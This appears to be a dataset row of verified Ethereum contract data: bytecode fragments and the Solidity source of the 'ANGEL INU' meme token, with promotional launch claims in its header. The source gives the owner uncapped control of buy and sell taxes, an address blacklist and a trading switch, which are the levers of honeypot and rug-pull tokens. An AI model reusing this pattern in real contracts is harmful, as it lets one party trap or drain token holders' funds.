ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561126f5780601f106112445761010080835404028352916020019161126f565b820191906000526020600020905b81548152906001019060200180831161125257829003601f168201915b505050505081565b6000806112a26064611294600a548661182990919063ffffffff16565b6118af90919063ffffffff16565b905080915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e857600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561133457600080fd5b61138682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a190919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60086020528060005260406000206000915054906101000a900460ff1681565b6000838311158290611744576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117095780820151818401526020810190506116ee565b50505050905090810190601f1680156117365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061179983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611697565b905092915050565b60008082840190508381101561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083141561183c57600090506118a9565b600082840290508284828161184d57fe5b04146118a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a0e6021913960400191505060405180910390fd5b809150505b92915050565b60006118f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f9565b905092915050565b600080831182906119a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561196a57808201518184015260208101905061194f565b50505050905090810190601f1680156119975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816119b157fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737320646973616c6c6f776564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122051b9b59d5f596e0e0bc89f1ab531c11020d5c73a3886a65d86aa597aab089e1f64736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 5,124 |
0x97776fcf405c2c4a534d14204b4b997a173ef4e6
|
/**
_ _ _____ ______ _ _____ _ _ _ _
/\ | \ | |/ ____| ____| | |_ _| \ | | | | |
/ \ | \| | | __| |__ | | | | | \| | | | |
/ /\ \ | . ` | | |_ | __| | | | | | . ` | | | |
/ ____ \| |\ | |__| | |____| |____ _| |_| |\ | |__| |
/_/ \_\_| \_|\_____|______|______| |_____|_| \_|\____/
Website: www.angelinu.net
Telegram: https://t.me/AngelInuPortal
✨ Initial liquidity: 5 ETH
✨ Anti-Bot / Anti-Snipe: Activated
- bots will be blacklisted
✨100% STEALTHLAUNCH, NOBODY KNOWS.
✨ Max Wallet 2% / Max Tx 1%
✨ 12% on buys and sells at launch, then lowered to 5%
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AngelInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ANGEL INU";
string private constant _symbol = "ANGEL INU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xBd63a807cefafA46B6EC30DB94aaE168806e99cB);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //1
uint256 public _maxWalletSize = 20000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610532578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b806395d89b41146101fe57806398a5c315146104c2578063a9059cbb146104e2578063bfd792841461050257600080fd5b80638da5cb5b116100d15780638da5cb5b146104595780638eb59a5f146104775780638f70ccf71461048c5780638f9a55c0146104ac57600080fd5b8063715018a61461040e57806374010ece146104235780637d1db4a51461044357600080fd5b80632fd689e31161016f578063672434821161013e57806367243482146103785780636b999053146103985780636d8aa8f8146103b857806370a08231146103d857600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e14610338578063658d4b7f1461035857600080fd5b80630b78f9c0116101ab5780630b78f9c01461026f5780631694505e1461028f57806318160ddd146102c757806323b872dd146102e657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c30565b6105cd565b005b34801561020a57600080fd5b506040805180820182526009815268414e47454c20494e5560b81b602082015290516102369190611d77565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611b9c565b61067a565b6040519015158152602001610236565b34801561027b57600080fd5b506101fc61028a366004611d29565b610691565b34801561029b57600080fd5b50600c546102af906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102d357600080fd5b506005545b604051908152602001610236565b3480156102f257600080fd5b5061025f610301366004611b28565b6106c6565b34801561031257600080fd5b506102d860105481565b34801561032857600080fd5b5060405160098152602001610236565b34801561034457600080fd5b50600d546102af906001600160a01b031681565b34801561036457600080fd5b506101fc610373366004611b68565b61072f565b34801561038457600080fd5b506101fc610393366004611bc7565b610784565b3480156103a457600080fd5b506101fc6103b3366004611ab8565b610838565b3480156103c457600080fd5b506101fc6103d3366004611cf7565b610883565b3480156103e457600080fd5b506102d86103f3366004611ab8565b6001600160a01b031660009081526001602052604090205490565b34801561041a57600080fd5b506101fc6108cb565b34801561042f57600080fd5b506101fc61043e366004611d11565b610901565b34801561044f57600080fd5b506102d8600e5481565b34801561046557600080fd5b506000546001600160a01b03166102af565b34801561048357600080fd5b506101fc610930565b34801561049857600080fd5b506101fc6104a7366004611cf7565b61097b565b3480156104b857600080fd5b506102d8600f5481565b3480156104ce57600080fd5b506101fc6104dd366004611d11565b6109c3565b3480156104ee57600080fd5b5061025f6104fd366004611b9c565b6109f2565b34801561050e57600080fd5b5061025f61051d366004611ab8565b600a6020526000908152604090205460ff1681565b34801561053e57600080fd5b506101fc6109ff565b34801561055357600080fd5b506102d8610562366004611af0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611d11565b610a45565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a74565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611dca565b60405180910390fd5b60005b8151811015610676576001600a600084848151811061063257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066e81611edd565b915050610603565b5050565b6000610687338484610b8f565b5060015b92915050565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016105f790611dca565b600691909155600755565b60006106d3848484610cb3565b610725843361072085604051806060016040528060288152602001611f3a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611285565b610b8f565b5060019392505050565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ae5760405162461bcd60e51b81526004016105f790611dca565b60005b838110156108315761081e338686848181106107dd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107f29190611ab8565b85858581811061081257634e487b7160e01b600052603260045260246000fd5b905060200201356112bf565b508061082981611edd565b9150506107b1565b5050505050565b6000546001600160a01b031633146108625760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105f790611dca565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016105f790611dca565b6108ff60006113a5565b565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f790611dca565b600e55565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016105f790611dca565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016105f790611dca565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ed5760405162461bcd60e51b81526004016105f790611dca565b601055565b6000610687338484610cb3565b6000546001600160a01b03163314610a295760405162461bcd60e51b81526004016105f790611dca565b30600090815260016020526040902054610a42816113f5565b50565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016105f790611dca565b600f55565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016105f790611dca565b6001600160a01b038116610b035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600060046000610b1b6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b4c816113a5565b600160046000610b646000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6001600160a01b03821660009081526004602052604090205460ff16158015610e1d57506001600160a01b03831660009081526004602052604090205460ff16155b1561116057600d54600160a01b900460ff16610e7b5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f74207965742073746172746564000060448201526064016105f7565b600e54811115610ecd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f0f57506001600160a01b0382166000908152600a602052604090205460ff16155b610f675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b600d546001600160a01b038381169116146110d557600d546001600160a01b038481169116148015610fa25750600d54600160b81b900460ff165b1561104f57326000908152600260205260409020544290610fc49060b4611e6f565b108015610ff457506001600160a01b0382166000908152600260205260409020544290610ff29060b4611e6f565b105b61104f5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b60648201526084016105f7565b600f5481611072846001600160a01b031660009081526001602052604090205490565b61107c9190611e6f565b106110d55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b3060009081526001602052604090205460105481108015906110f75760105491505b80801561110e5750600d54600160a81b900460ff16155b80156111285750600d546001600160a01b03868116911614155b801561113d5750600d54600160b01b900460ff165b1561115d5761114b826113f5565b47801561115b5761115b476115f9565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111a257506001600160a01b03831660009081526004602052604090205460ff165b806111d45750600d546001600160a01b038581169116148015906111d45750600d546001600160a01b03848116911614155b156111e15750600061124f565b600d546001600160a01b03858116911614801561120c5750600c546001600160a01b03848116911614155b15611218576006546008555b600d546001600160a01b0384811691161480156112435750600c546001600160a01b03858116911614155b1561124f576007546008555b3260009081526002602052604080822042908190556001600160a01b038616835291205561127f84848484611633565b50505050565b600081848411156112a95760405162461bcd60e51b81526004016105f79190611d77565b5060006112b68486611ec6565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600190915291822054611310918490611285565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461133f9083611654565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113939086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611420606461141a8460556116ba565b90611739565b9050600061142e8284611ec6565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061147657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114ca57600080fd5b505afa1580156114de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115029190611ad4565b8160018151811061152357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115499130911687610b8f565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611582908790600090869030904290600401611dff565b600060405180830381600087803b15801561159c57600080fd5b505af11580156115b0573d6000803e3d6000fd5b5050505060006115c9834761177b90919063ffffffff16565b90506115e4846115df606461141a85600f6116ba565b6117bd565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610676573d6000803e3d6000fd5b80611649576116438484846112bf565b5061127f565b61127f848484611876565b6000806116618385611e6f565b9050838110156116b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b9392505050565b6000826116c95750600061068b565b60006116d58385611ea7565b9050826116e28583611e87565b146116b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b60006116b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197b565b60006116b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611285565b600c546117d59030906001600160a01b031684610b8f565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561183d57600080fd5b505af1158015611851573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108319190611d4a565b600061188284836119a9565b90506118ea8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112859092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119199082611654565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061196d9085815260200190565b60405180910390a350505050565b6000818361199c5760405162461bcd60e51b81526004016105f79190611d77565b5060006112b68486611e87565b6000806119c6606461141a600854866116ba90919063ffffffff16565b306000908152600160205260409020549091506119e39082611654565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a349085815260200190565b60405180910390a3611a46838261177b565b949350505050565b8035611a5981611f24565b919050565b60008083601f840112611a6f578081fd5b50813567ffffffffffffffff811115611a86578182fd5b6020830191508360208260051b8501011115611aa157600080fd5b9250929050565b80358015158114611a5957600080fd5b600060208284031215611ac9578081fd5b81356116b381611f24565b600060208284031215611ae5578081fd5b81516116b381611f24565b60008060408385031215611b02578081fd5b8235611b0d81611f24565b91506020830135611b1d81611f24565b809150509250929050565b600080600060608486031215611b3c578081fd5b8335611b4781611f24565b92506020840135611b5781611f24565b929592945050506040919091013590565b60008060408385031215611b7a578182fd5b8235611b8581611f24565b9150611b9360208401611aa8565b90509250929050565b60008060408385031215611bae578182fd5b8235611bb981611f24565b946020939093013593505050565b60008060008060408587031215611bdc578081fd5b843567ffffffffffffffff80821115611bf3578283fd5b611bff88838901611a5e565b90965094506020870135915080821115611c17578283fd5b50611c2487828801611a5e565b95989497509550505050565b60006020808385031215611c42578182fd5b823567ffffffffffffffff80821115611c59578384fd5b818501915085601f830112611c6c578384fd5b813581811115611c7e57611c7e611f0e565b8060051b604051601f19603f83011681018181108582111715611ca357611ca3611f0e565b604052828152858101935084860182860187018a1015611cc1578788fd5b8795505b83861015611cea57611cd681611a4e565b855260019590950194938601938601611cc5565b5098975050505050505050565b600060208284031215611d08578081fd5b6116b382611aa8565b600060208284031215611d22578081fd5b5035919050565b60008060408385031215611d3b578182fd5b50508035926020909101359150565b600080600060608486031215611d5e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611da357858101830151858201604001528201611d87565b81811115611db45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e4e5784516001600160a01b031683529383019391830191600101611e29565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e8257611e82611ef8565b500190565b600082611ea257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec157611ec1611ef8565b500290565b600082821015611ed857611ed8611ef8565b500390565b6000600019821415611e